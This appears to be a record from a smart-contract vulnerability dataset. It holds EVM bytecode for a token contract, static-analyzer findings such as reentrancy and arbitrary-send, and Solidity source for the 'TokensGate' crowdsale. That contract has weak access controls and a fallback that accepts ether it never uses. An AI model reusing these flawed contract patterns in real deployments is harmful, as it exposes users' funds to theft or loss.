00546001600160a01b03163314610aa85760405162461bcd60e51b815260040161080d90611ed1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610b1257600080fd5b60005b815181101561090057600a5482516001600160a01b0390911690839083908110610b4157610b41611ea2565b60200260200101516001600160a01b031614158015610b92575060075482516001600160a01b0390911690839083908110610b7e57610b7e611ea2565b60200260200101516001600160a01b031614155b15610bef57600160066000848481518110610baf57610baf611ea2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bf981611eb8565b915050610b15565b60006106f43384846111e8565b6008546001600160a01b0316336001600160a01b031614610c2e57600080fd5b6000610c3930610a63565b9050610a60816118db565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b815260040161080d90611ed1565b60115460ff1615610cbb5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161080d565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a54600090610873906001600160a01b0316610a63565b6000546001600160a01b03163314610d2a5760405162461bcd60e51b815260040161080d90611ed1565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106dc565b6000546001600160a01b03163314610da75760405162461bcd60e51b815260040161080d90611ed1565b60115460ff1615610df45760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161080d565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e313082683635c9adc5dea000006110c4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e939190611f06565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ee0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f049190611f06565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f759190611f06565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610fa581610a63565b600080610fba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611022573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110479190611f23565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156110a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109009190611f51565b6001600160a01b0383166111265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161080d565b6001600160a01b0382166111875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161080d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661124c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161080d565b6001600160a01b0382166112ae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161080d565b600081116113105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161080d565b6001600160a01b03831660009081526006602052604090205460ff16156113855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b606482015260840161080d565b600080546001600160a01b038581169116148015906113b257506000546001600160a01b03848116911614155b156117f757600a546001600160a01b0385811691161480156113e257506007546001600160a01b03848116911614155b801561140757506001600160a01b03831660009081526004602052604090205460ff16155b156116935760115460ff1661145e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161080d565b601054420361149d5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161080d565b42601054610e106114ae9190611f6e565b111561152857600f546114c084610a63565b6114ca9084611f6e565b11156115285760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161080d565b6001600160a01b03831660009081526005602052604090206001015460ff16611590576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115a09190611f6e565b111561167457600e548211156115f85760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161080d565b61160342600f611f6e565b6001600160a01b038416600090815260056020526040902054106116745760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161080d565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116ad575060115460ff165b80156116c75750600a546001600160a01b03858116911614155b156117f7576116d742600f611f6e565b6001600160a01b038516600090815260056020526040902054106117495760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161080d565b600061175430610a63565b905080156117e05760115462010000900460ff16156117d757600d54600a5460649190611789906001600160a01b0316610a63565b6117939190611f86565b61179d9190611fa5565b8111156117d757600d54600a54606491906117c0906001600160a01b0316610a63565b6117ca9190611f86565b6117d49190611fa5565b90505b6117e0816118db565b4780156117f0576117f047611856565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061183957506001600160a01b03841660009081526004602052604090205460ff165b15611842575060005b61184f8585858486611a4f565b5050505050565b6008546001600160a01b03166108fc611870600284611fa5565b6040518115909202916000818181858888f19350505050158015611898573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118b3600284611fa5565b6040518115909202916000818181858888f19350505050158015610900573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061191f5761191f611ea2565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199c9190611f06565b816001815181106119af576119af611ea2565b6001600160a01b0392831660209182029290920101526007546119d591309116846110c4565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a0e908590600090869030904290600401611fc7565b600060405180830381600087803b158015611a2857600080fd5b505af1158015611a3c573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a5b8383611a71565b9050611a6986868684611ab8565b505050505050565b6000808315611ab1578215611a895750600b54611ab1565b50600c54601054611a9c90610384611f6e565b421015611ab157611aae600582611f6e565b90505b9392505050565b600080611ac58484611b95565b6001600160a01b0388166000908152600260205260409020549193509150611aee908590611e8b565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b1e908390611f6e565b6001600160a01b038616600090815260026020526040902055611b4081611bc9565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8591815260200190565b60405180910390a3505050505050565b600080806064611ba58587611f86565b611baf9190611fa5565b90506000611bbd8287611e8b565b96919550909350505050565b30600090815260026020526040902054611be4908290611f6e565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c2457858101830151858201604001528201611c08565b81811115611c36576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a6057600080fd5b8035611c6c81611c4c565b919050565b600060208284031215611c8357600080fd5b8135611ab181611c4c565b60008060408385031215611ca157600080fd5b8235611cac81611c4c565b946020939093013593505050565b60008060408385031215611ccd57600080fd5b50508035926020909101359150565b600080600060608486031215611cf157600080fd5b8335611cfc81611c4c565b92506020840135611d0c81611c4c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d4657600080fd5b823567ffffffffffffffff80821115611d5e57600080fd5b818501915085601f830112611d7257600080fd5b813581811115611d8457611d84611d1d565b8060051b604051601f19603f83011681018181108582111715611da957611da9611d1d565b604052918252848201925083810185019188831115611dc757600080fd5b938501935b82851015611dec57611ddd85611c61565b84529385019392850192611dcc565b98975050505050505050565b600060208284031215611e0a57600080fd5b5035919050565b8015158114610a6057600080fd5b600060208284031215611e3157600080fd5b8135611ab181611e11565b60008060408385031215611e4f57600080fd5b8235611e5a81611c4c565b91506020830135611e6a81611c4c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e9d57611e9d611e75565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611eca57611eca611e75565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f1857600080fd5b8151611ab181611c4c565b600080600060608486031215611f3857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f6357600080fd5b8151611ab181611e11565b60008219821115611f8157611f81611e75565b500190565b6000816000190483118215151615611fa057611fa0611e75565b500290565b600082611fc257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120175784516001600160a01b031683529383019391830191600101611ff2565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208de1c1bea9c9ad826d554dc42c430899a891e4f90b0f6c788ed90d5f835a0dba64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,986 |
0xf1ada8ab9b75375c05c1af0acec6f6d975470a24
|
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
if (totalSupply.add(_amount) > 1000000000000000000000000000) {
return false;
}
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/TGCToken.sol
contract TGCToken is MintableToken {
string public constant name = "TokensGate Coin";
string public constant symbol = "TGC";
uint8 public constant decimals = 18;
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: contracts/TokensGate.sol
contract TokensGate is Crowdsale {
mapping(address => bool) public icoAddresses;
function TokensGate (
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
}
function createTokenContract() internal returns (MintableToken) {
return new TGCToken();
}
function () external payable {
}
function addIcoAddress(address _icoAddress) public {
require(msg.sender == wallet);
icoAddresses[_icoAddress] = true;
}
function buyTokens(address beneficiary) public payable {
require(beneficiary == address(0));
}
function mintTokens(address walletToMint, uint256 t) payable public {
require(walletToMint != address(0));
require(icoAddresses[walletToMint]);
token.mint(walletToMint, t);
}
function changeOwner(address newOwner) payable public {
require(msg.sender == wallet);
wallet = newOwner;
}
function tokenOwnership(address newOwner) payable public {
require(msg.sender == wallet);
token.transferOwnership(newOwner);
}
function setEndTime(uint256 newEndTime) payable public {
require(msg.sender == wallet);
endTime = newEndTime;
}
}
|
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e146100d25780633197cbb6146100fb5780634042b66f14610124578063486fc7e81461014d578063521eb2731461017b5780635a119ef2146101d057806369e63eed1461020957806378e979251461025a578063a6f9dae114610283578063ccb98ffc146102b1578063ec8ac4d8146102c9578063ecb70fb7146102f7578063f0dda65c14610324578063fc0c546a1461035b575b005b34156100dd57600080fd5b6100e56103b0565b6040518082815260200191505060405180910390f35b341561010657600080fd5b61010e6103b6565b6040518082815260200191505060405180910390f35b341561012f57600080fd5b6101376103bc565b6040518082815260200191505060405180910390f35b610179600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506103c2565b005b341561018657600080fd5b61018e6104f0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101db57600080fd5b610207600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610516565b005b341561021457600080fd5b610240600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506105cd565b604051808215151515815260200191505060405180910390f35b341561026557600080fd5b61026d6105ed565b6040518082815260200191505060405180910390f35b6102af600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506105f3565b005b6102c76004808035906020019091905050610693565b005b6102f5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106f9565b005b341561030257600080fd5b61030a610737565b604051808215151515815260200191505060405180910390f35b610359600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610743565b005b341561036657600080fd5b61036e6108c3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60045481565b60025481565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561041e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156104d957600080fd5b6102c65a03f115156104ea57600080fd5b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561057257600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60066020528060005260406000206000915054906101000a900460ff1681565b60015481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064f57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106ef57600080fd5b8060028190555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561073457600080fd5b50565b60006002544211905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561077f57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156107d757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156108a357600080fd5b6102c65a03f115156108b457600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006108f261090d565b604051809103906000f080151561090857600080fd5b905090565b60405161182f8061091e83390190560060606040526000600360146101000a81548160ff02191690831515021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117c08061006f6000396000f3006060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b610213610779565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061077f565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b3e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b43565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5d565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fee565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611037565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104126110ff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611125565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061115e565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611382565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061157e565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611605565b005b600360149054906101000a900460ff1681565b6040805190810160405280600f81526020017f546f6b656e734761746520436f696e000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107bc57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089557600080fd5b6108e782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b